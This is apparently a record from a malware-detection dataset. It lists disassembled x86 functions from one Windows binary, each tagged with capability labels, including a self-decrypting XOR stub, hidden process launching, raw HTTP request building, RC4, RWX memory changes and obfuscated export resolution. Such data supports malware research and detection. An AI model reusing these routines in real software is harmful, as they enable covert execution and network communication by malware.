joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ae38
Capabilities:
Create process on windows
Get common file path
Get program files directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.Internet_Exploreriexplore.exe
lea eax, [ebp - 0x220]
push eax
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x620]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
push str._s__s
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x668]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x668], 0x44
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x668]
push eax
push 0
push 0
push 0x4000000
push 1
push 0
push 0
lea eax, [ebp - 0x620]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x40af3f
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 4
Function at 0x40af45
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13bc
call fcn.0040b960
and dword [ebp - 0x3ac], 0
and dword [ebp - 0x398], 0
and dword [ebp - 0x394], 0
lea eax, [ebp - 0x390]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [ebp + 0x18], 0
jne 0x40af8b
mov dword [ebp - 0x398], str.POST___s__s
jmp 0x40af9b
cmp dword [ebp + 0x18], 1
jne 0x40af9b
mov dword [ebp - 0x398], str.GET___s__s
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.HTTP_1.1_r_nAccept:___r_nAccept_Language:_zh_cn_r_nAccept_Encoding:_gzip__deflate_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__r_nHost:__s_r_nConnection:_Keep_Alive_r_n_r_n
push dword [ebp - 0x398]
push str._s_s
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x1000
push 0
lea eax, [ebp - 0x13b0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x13b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x394], eax
push 2
pop eax
mov word [ebp - 0x3a8], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x3a6], ax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0xffffffff
jne 0x40b05c
push 2
push dword [ebp + 8]
lea eax, [ebp - 0x3a4]
push eax
call fcn.00409246
push 0x10
lea eax, [ebp - 0x3a8]
push eax
push dword [ebp - 0x394]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40b10d
and dword [ebp - 0x13b8], 0
and dword [ebp - 0x13bc], 0
and dword [ebp - 0x13b4], 0
lea eax, [ebp - 0x13b0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x13bc], eax
push 0
push dword [ebp - 0x13bc]
mov eax, dword [ebp - 0x13b4]
lea eax, [ebp + eax - 0x13b0]
push eax
push dword [ebp - 0x394]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x13b8], eax
mov eax, dword [ebp - 0x13b4]
add eax, dword [ebp - 0x13b8]
mov dword [ebp - 0x13b4], eax
mov eax, dword [ebp - 0x13bc]
sub eax, dword [ebp - 0x13b8]
mov dword [ebp - 0x13bc], eax
jne 0x40b0fb
mov dword [ebp - 0x3ac], 1
jmp 0x40b10d
cmp dword [ebp - 0x13b8], 0
je 0x40b10d
cmp dword [ebp - 0x13b8], 0xffffffff
jne 0x40b0a1
push dword [ebp - 0x394]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x3ac]
leave
ret 0x14
Function at 0x4075de
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461944], 0
jne 0x407619
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4075f2
mov dword [ecx*4 + 0x461940], eax
inc ecx
cmp ecx, 0x100
jl 0x4075ed
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407646
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461940]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x407627
not eax
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403f8c
Capabilities:
Create process on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x444
mov esi, dword [esp + 0x45c]
mov ebp, dword [esp + 0x458]
push esi
mov edi, ebp
push ebp
push str.putfile__s__s_n
call sub.msvcrt.dll_printf
push 0x400
lea ebx, [esp + 0x54]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
mov dword [esp + 0x20], ebx
xor edx, edx
cld
mov al, dl
mov dword [esp + 0x10], 0x3c
or ecx, 0xffffffff
mov dword [esp + 0x14], 0x240
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0x43c7ab
repne scasb al, byte es:[edi]
not ecx
mov edi, esi
mov dword [esp + 0xc], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0xc]
not ecx
lea ecx, [ecx + eax + 0x28]
push ecx
call sub.msvcrt.dll_malloc
push esi
mov ebx, eax
push 0x43c7b0
push ebp
push str.pscp_s_s:_s
push eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 5
mov dword [esp + 0x48], 0x1d
add esp, 0x24
lea eax, [esp + 4]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
test eax, eax
jne 0x404061
call sub.KERNEL32.dll_GetLastError
push eax
push str.Last_errnr:__d_n
call sub.msvcrt.dll_printf
pop eax
pop edx
push ebx
call fcn.0043aa78
mov eax, dword [esp + 0x40]
add esp, 0x448
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40b6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
xor edi, edi
push esi
push ebx
push edx
mov ebp, dword [esp + 0x18]
lea esi, [ebp + 2]
movzx eax, byte [ebp]
mov byte [esp + 3], al
movzx edx, byte [ebp + 1]
mov byte [esp + 2], dl
cmp edi, dword [esp + 0x20]
jge 0x40b728
inc byte [esp + 3]
movzx ecx, byte [esp + 3]
movzx edx, byte [esi + ecx]
add byte [esp + 2], dl
movzx ebx, byte [esp + 2]
movzx eax, byte [esi + ebx]
mov byte [esi + ecx], al
mov byte [esi + ebx], dl
add dl, byte [esi + ecx]
movzx eax, dl
mov edx, dword [esp + 0x1c]
movzx eax, byte [esi + eax]
xor byte [edx + edi], al
inc edi
jmp 0x40b6ee
movzx eax, byte [esp + 3]
mov byte [ebp], al
movzx edx, byte [esp + 2]
mov byte [ebp + 1], dl
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40e544
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x50], 0
mov dword [eax + 0x58], 0
mov dword [eax + 0x54], 0
ret
Function at 0x434470
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov ebx, eax
test edi, edi
mov dword [ebp - 8], esi
mov esi, edx
jne 0x434497
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x1c
mov dword [esp + 8], eax
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x434545
mov eax, dword [ebp - 0x24]
cmp eax, 0x40
setne dl
cmp eax, 4
setne al
movzx eax, al
test eax, edx
jne 0x43451e
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 0x40
setne dl
cmp eax, 4
setne al
movzx eax, al
test eax, edx
je 0x43448a
lea eax, [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x43448a
lea eax, [ebp - 0x3c]
mov ecx, 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x4344d0
mov dword [esp + 8], ebx
mov ebx, 0x1c
mov dword [esp + 4], ebx
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00434410
nop

Function at 0x4349c0
Capabilities:
Encode data using xor
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov eax, dword [0x44ad08]
test eax, eax
jne 0x4349d8
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp], 0x44ad18
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x44ad38]
sub esp, 4
test ebx, ebx
je 0x434a37
jmp 0x434a00
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
cmc
sbb byte [ebp - 0x76eb8b0a], al
xor al, 0x24
mov eax, dword [ebx + 4]
call eax
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x434a00
mov dword [esp], 0x44ad18
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x406b60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x21c
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x15c]
test ecx, ecx
je 0x406b7e
push str.Connection_initiated
call fcn.00415a20
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x168], eax
jne 0x406bb4
push 1
push str.Error_creating_socket
lea ecx, [esp + 0x10]
call fcn.00416690
lea eax, [esp + 8]
push 0x43dbf8
push eax
call fcn.004305d1
lea edi, [esi + 0x58]
push edi
call dword [sym.imp.WSOCK32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x406c0f
push edi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
jne 0x406c04
push edi
lea ecx, [esp + 0x28]
push str.Failed_to_get_server_address___s_._nDid_you_type_the_host_name_correctly_
push ecx
call fcn.004309ee
add esp, 0xc
lea edx, [esp + 0x24]
lea ecx, [esp + 8]
push 1
push edx
call fcn.00416690
lea eax, [esp + 8]
push 0x43dbf8
push eax
call fcn.004305d1
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x18], eax
mov cx, word [esi + 0x54]
mov word [esp + 0x14], 2
push ecx
call dword [sym.imp.WSOCK32.dll_htons]
mov word [esp + 0x16], ax
mov eax, dword [esi + 0x168]
lea edx, [esp + 0x14]
push 0x10
push edx
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x406c77
add esi, 0x3b38
lea ecx, [esp + 0x24]
push esi
push str.Failed_to_connect_to_server___.255s_
push ecx
call fcn.004309ee
add esp, 0xc
lea edx, [esp + 0x24]
lea ecx, [esp + 8]
push 1
push edx
call fcn.00416690
lea eax, [esp + 8]
push 0x43dbf8
push eax
call fcn.004305d1
mov ecx, dword [esi + 0x54]
push ecx
push edi
push str.Connected_to__s_port__d_n
push 0
push 0x44a3a0
call fcn.004063e0
mov ecx, dword [esi + 0x15c]
add esp, 0x14
test ecx, ecx
je 0x406ca4
push str.Connection_established
call fcn.00415a20
pop edi
pop esi
add esp, 0x21c

Function at 0x406d00
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [ecx + 0x168]
lea eax, [esp]
push 4
push eax
push 1
push 6
push ecx
mov dword [esp + 0x14], 1
call dword [sym.imp.WSOCK32.dll_setsockopt]
test eax, eax
je 0x406d46
push 1
push str.Error_disabling_Nagles_algorithm
lea ecx, [esp + 0xc]
call fcn.00416690
lea edx, [esp + 4]
push 0x43dbf8
push edx
call fcn.004305d1
add esp, 0x10
Function at 0x4085c0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x34
lea eax, [esp + 4]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [esi + 0x178]
push eax
push ecx
call edi
mov ebx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
sub ebx, edx
mov edx, dword [esi + 0x178]
push 0
push 0x9f
push 0
push edx
sub ebp, ecx
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call dword [sym.imp.USER32.dll_GetMenuState]
cmp eax, 8
jne 0x408663
mov ecx, dword [esi + 0x17c]
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x14]
mov ecx, dword [esi + 0x17c]
sub edi, edx
mov edx, dword [esp + 0x18]
sub edi, 3
push 0x40
push edi
push ebx
push edx
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esp + 0x18]
sub ebp, edi
add eax, edi
mov edi, dword [sym.imp.USER32.dll_GetClientRect]
mov dword [esp + 0x18], eax
jmp 0x408672
mov edx, dword [esi + 0x17c]
push 0
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [esp + 0x18]
lea eax, [ebp + 2]
push 0x40
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [ebx + 2]
dec edx
push ecx
mov ecx, dword [esi + 0x180]
dec eax
push edx
push eax
push 0
push ecx
invalid
invalid
int3

Function at 0x40aeb0
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x80c
lea eax, [esp]
push esi
mov esi, ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov al, byte [esi + 0x4440]
test al, al
mov eax, str.tight
jne 0x40aed8
mov eax, 0x44a130
mov edx, dword [esi + 0x443c]
lea ecx, [esp + 4]
push ecx
push eax
mov eax, dword [esi + 0x4438]
xor ecx, ecx
mov cl, byte [esi + 0x4419]
push edx
push eax
xor edx, edx
mov dl, byte [esi + 0x4405]
push ecx
xor eax, eax
xor ecx, ecx
mov ax, word [esi + 0x4402]
mov cx, word [esi + 0x4400]
push edx
mov edx, dword [esi + 0x54]
push eax
push ecx
mov ecx, dword [esi + 0x40f0]
lea eax, [esi + 0x58]
push edx
push eax
push ecx
lea edx, [esp + 0x3c]
push str.Connected_to:__s_n_rHost:__s_port:__d_n_r_n_rDesktop_geometry:__d_x__d_x__d_n_rUsing_depth:__d_n_rCurrent_protocol_version:__d._d_s_n_r_n_rCurrent_keyboard_name:__s_n_r
push edx
call fcn.004309ee
add esp, 0x34
lea eax, [esp + 0x10]
push 0x40
push str.VNC_connection_info
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
add esp, 0x80c
ret
Function at 0x40b800
Capabilities:
Hide graphical window

Disassembly:
push ecx
push esi
lea eax, [esp + 7]
push 1
mov esi, ecx
push eax
call fcn.0040b880
push 0x10083
push 0
push str.VNCViewerBell
call dword [sym.imp.WINMM.dll_PlaySoundA]
test eax, eax
jne 0x40b833
push 0x7d
push 0x1b8
call dword [sym.imp.KERNEL32.dll_Beep]
mov al, byte [esi + 0x3d5d]
test al, al
je 0x40b866
mov ecx, dword [esi + 0x178]
push ecx
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x40b866
push 0
mov ecx, esi
call fcn.0040b720
mov edx, dword [esi + 0x178]
push 1
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.Bell__n
push 6
push 0x44a3a0
call fcn.004063e0
add esp, 0xc
pop esi
pop ecx
ret

Function at 0x40b880
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43ae08
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x168], 0xffffffff
jne 0x40b8ce
mov al, byte [edi + 0x1c2]
test al, al
je 0x40b8ce
push str.Connection_closed.
lea ecx, [esp + 0x18]
call fcn.00416660
lea eax, [esp + 0x14]
push 0x43d830
push eax
call fcn.004305d1
lea ecx, [edi + 0x214]
push ecx
lea ecx, [esp + 0x14]
call fcn.00408cb0
mov esi, dword [esp + 0x40]
xor ebp, ebp
push esi
push str.__reading__d_bytes_n
push 0xa
push 0x44a3a0
mov dword [esp + 0x44], ebp
call fcn.004063e0
add esp, 0x10
cmp esi, ebp
jle 0x40b92a
mov ebx, dword [esp + 0x3c]
mov eax, dword [edi + 0x168]
push 0
lea edx, [ebx + ebp]
push esi
push edx
push eax
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
je 0x40b950
cmp eax, 0xffffffff
je 0x40b96f
sub esi, eax
add ebp, eax
test esi, esi
jg 0x40b905
lea ecx, [esp + 0x10]
mov dword [esp + 0x34], 0xffffffff
call fcn.00408cd0
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
push 1
push str.Connection_closed.
lea ecx, [esp + 0x1c]
call fcn.00416690
lea ecx, [esp + 0x14]
push 0x43dbf8
push ecx
call fcn.004305d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Socket_error_while_reading__d_n
push 1
push 0x44a3a0
call fcn.004063e0
add esp, 0x10
lea ecx, [esp + 0x20]
mov byte [edi + 0x4442], 0
push 1
push str.ReadExact:_Socket_error_while_reading.
call fcn.00416690
lea edx, [esp + 0x20]
push 0x43dbf8
push edx
call fcn.004305d1
Function at 0x424d20
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x424d50
push esi
call fcn.004280f0
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x424d49
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x424dd3
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x424dbf
mov eax, dword [esi + 8]
test eax, eax
je 0x424d74
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x424dbb
cmp eax, 2
je 0x424dbf
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x424d67
cmp eax, 3
je 0x424d9a
cmp eax, 1
jne 0x424d67
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x424d67
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x424d67
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.00424e00
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x424df3
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.00424e00
add esp, 4
pop esi
ret

Function at 0x431580
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4315a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00435cba
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4315c3
test byte [esp + 8], 2
je 0x4315c3
call fcn.00435d2d
mov dword [eax], 0xd
call fcn.00435d36
mov dword [eax], 5
jmp 0x43159c
xor eax, eax
ret

Function at 0x436636
Capabilities:
Hash data using murmur3

Disassembly:
xor esi, 0x7860ca8
mov esi, eax
rol eax, 0xf
dec esi
neg esi
mov esi, 0x1dc207b2
add eax, esp
sub dword [0x44bc6e], 0x613cf0c
rol esi, 0x18
mov esi, 0x1acaf42
xor esi, edi
mov edx, dword [0x444094]
xor edx, 0x17d0aaa0
or esi, edi
not ecx
Function at 0x436f51
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xchg esi, eax
xor esi, dword [0x44be84]
ror eax, 0xe
xor dword [0x44bbe8], ecx
mov dword [0x44bb58], edx
rol eax, 0xe
xchg esi, eax
neg eax
dec ebx
inc eax
rol ecx, 0x10
xor edx, eax
not eax
or dword [0x44bb6e], ebx
or dword [0x44bca0], 0x517e300
mov dword [0x44bcf8], ecx
xchg edx, eax
xor eax, 0x1efa75ca
xor dword [ebx], 0x2354a6d6
sub edi, dword [0x44bf0f]
xor esi, eax
xor eax, 0x298ff42
sub edi, dword [0x44be9e]
xor ebx, esp
xor ecx, dword [0x44bdc0]
xor edi, eax
rol eax, 0x1d
inc esi
ror esi, 0x1a
add eax, 0x1dc95c0e
pop esp
leave
sbb eax, 0xcc33d833
xor ecx, esp
xor ebx, eax
sub eax, 0x1dc95c0e
rol esi, 0x1a
dec esi
ror eax, 0x1d
xor edi, eax
xor ebx, esp
xor eax, 0x298ff42
xor esi, eax
not dword [ebx]
sub dword [0x44bd0e], ebx
ror eax, 0x12
not esi
xor edi, edx
sub dword [0x44bcb4], ebx
add ebx, 0xd2a950
sub dword [0x44bd1d], 0xe024c49
xchg eax, esi
mov dword [0x44bc56], edi
xor ecx, dword [0x44bf31]
ror edx, 0x1b
sub dword [0x44bc68], esi
inc esi
rol ecx, 4
sub esi, 0x1cddc90
xor edx, eax
ror ecx, 0xb
xchg esi, eax
neg esi
xor edx, eax
xor edi, esp
xchg ecx, edx
xchg ecx, edx
xor edi, esp
xor edx, eax
neg esi
xchg esi, eax
rol ecx, 0xb
xor edx, eax
add esi, 0x1cddc90
ror ecx, 4
dec esi
mov dword [0x44bc52], ebx
rol edx, 0x1b
xor dword [0x44bc9a], ecx
xchg eax, esi
sub ebx, 0xd2a950
sub dword [0x44bc77], esi
xor edi, edx
not esi
rol eax, 0x12
mov dword [0x44bcbc], ecx
xor dword [ebx], 0x2354a6d6
or dword [0x44bb70], ebx
rol eax, 1
add esi, dword [0x44be28]
sub eax, esp
xor esi, eax
xchg eax, eax
and dword [0x44bcac], esi
xor esi, 0xaa292ca
or dword [0x44bcf0], 0x1221a92e
neg esi
xchg esi, edx
dec esi
xor edi, dword [0x44be5a]
xor ebx, edi
sub ebx, dword [0x44be8b]
sub dword [0x44bd6a], ebx
xor eax, 0x24d3650
sub ecx, esi
dec esi
inc esi
add ecx, esi
xor eax, 0x24d3650
xor ebx, edi
inc esi
xchg esi, edx
neg esi
xor dword [0x44bbc8], 0x3a2ff0dc
xor esi, 0xaa292ca
xchg eax, eax
xor esi, eax
add eax, esp
ror eax, 1
not dword [ebx]
xor esi, eax
xchg eax, eax
sub ecx, dword [0x44bdc4]
xor edi, dword [0x44be80]
sub ebx, esi
sub ebx, dword [0x44bf2a]
xor esi, eax
ror edi, 7
xor edi, edx
rol ebx, 1
dec eax
xor ebx, esi
xchg esi, eax
ror edx, 0x1d
xchg edx, eax
sub edi, dword [0x44bde8]
sub ecx, dword [0x44bea4]
rol esi, 0xe
add esi, ecx
sub esi, ecx
ror esi, 0xe
xchg edx, eax
rol edx, 0x1d
xchg esi, eax
xor ebx, esi
inc eax
ror ebx, 1
xor edi, edx
rol edi, 7
xor esi, eax
add ebx, esi
xchg eax, eax
xor esi, eax
add dword [ebx], 0x2354a6d6
not esi
xor ecx, eax
sub ecx, dword [0x44bee0]
xor ebx, dword [0x44bfca]
xor esi, eax
add eax, esi
add dword [0x44bb75], edi
not esi
ror edi, 9
sub edx, dword [0x44bf2c]
add edi, ebp
inc eax
xor ebx, dword [0x44bf9e]
xor dword [0x44bba8], 0x13f1654a
rol eax, 0x1b
xor ebx, eax
xor ebx, eax
ror eax, 0x1b
sub dword [0x44bc0e], 0x31de924
dec eax
sub edi, ebp
rol edi, 9
not esi
Function at 0x4371b4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [0x44bc64], ebx
sub eax, esi
xor esi, eax
xor ecx, eax
not esi
xor dword [ebx], 0x2354a6d6
xor edx, dword [0x44bfbc]
xor dword [0x44bbfd], 0x1d8aded0
inc eax
add eax, 0x28f3b2f
xchg eax, eax
neg esi
xor esi, 0x11ab03a9
rol esi, 0x19
inc esi
ror edx, 5
add dword [0x44bd10], esi
ror eax, 0x10
adc byte [eax - 0x39], cl
add eax, 0x44bc0b
test dword [esi], ebp
add al, byte [edx]
not edi
xchg eax, esi
dec eax
not eax
not eax
inc eax
xchg eax, esi
not edi
inc eax
rol eax, 0x10
or dword [0x44bbd9], edi
rol edx, 5
dec esi
ror esi, 0x19
into
sbb dword [ecx - 0x54fc560a], eax
adc edi, esi
fiadd word [edi + 0x2fe881c0]
cmp ecx, dword [edi + 0x13f74802]
xor esi, eax
sub esi, dword [0x44befc]
inc ebx
sub esi, edx
xor esi, eax
inc esi
sub esi, edx
xor esi, 0x405ad2b
sub esi, dword [0x44be24]
mov dword [0x44bbd8], ebx
dec edx
xor edx, ebp
xor edx, ebp
inc edx
mov dword [0x44bd2e], ebx
xor esi, 0x405ad2b
add esi, edx
dec esi
xor esi, eax
add esi, edx
dec ebx
xor esi, eax
xor dword [ebx], 0x2354a6d6
inc edx
sub esi, dword [0x44bdd7]
sub dword [0x44bcc8], 0x35451e70
xor esi, eax
xor edx, ebx
mov dword [0x44bbf8], ecx
xchg esi, edx
mov dword [0x44bc70], ebx
mov dword [0x44bcd4], ecx
neg esi
neg esi
or dword [0x44bcab], esi
xchg esi, edx
xor edx, ebx
xor esi, eax
mov dword [0x44bceb], 0x11c4bf47
dec edx
not dword [ebx]
sub ecx, dword [0x44bf35]
xor ecx, 0x9444c5c
not eax
ror edx, 0x1a
xor dword [0x44bd8d], edx
not eax
add esi, eax
ror eax, 0xd
xor edx, esp
sub esi, eax
not esi
inc edx
xor edi, ebx
xor edi, ebx
dec edx
not esi
add esi, eax
xor edx, esp

Function at 0x4371f8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
adc byte [eax - 0x39], cl
add eax, 0x44bc0b
test dword [esi], ebp
add al, byte [edx]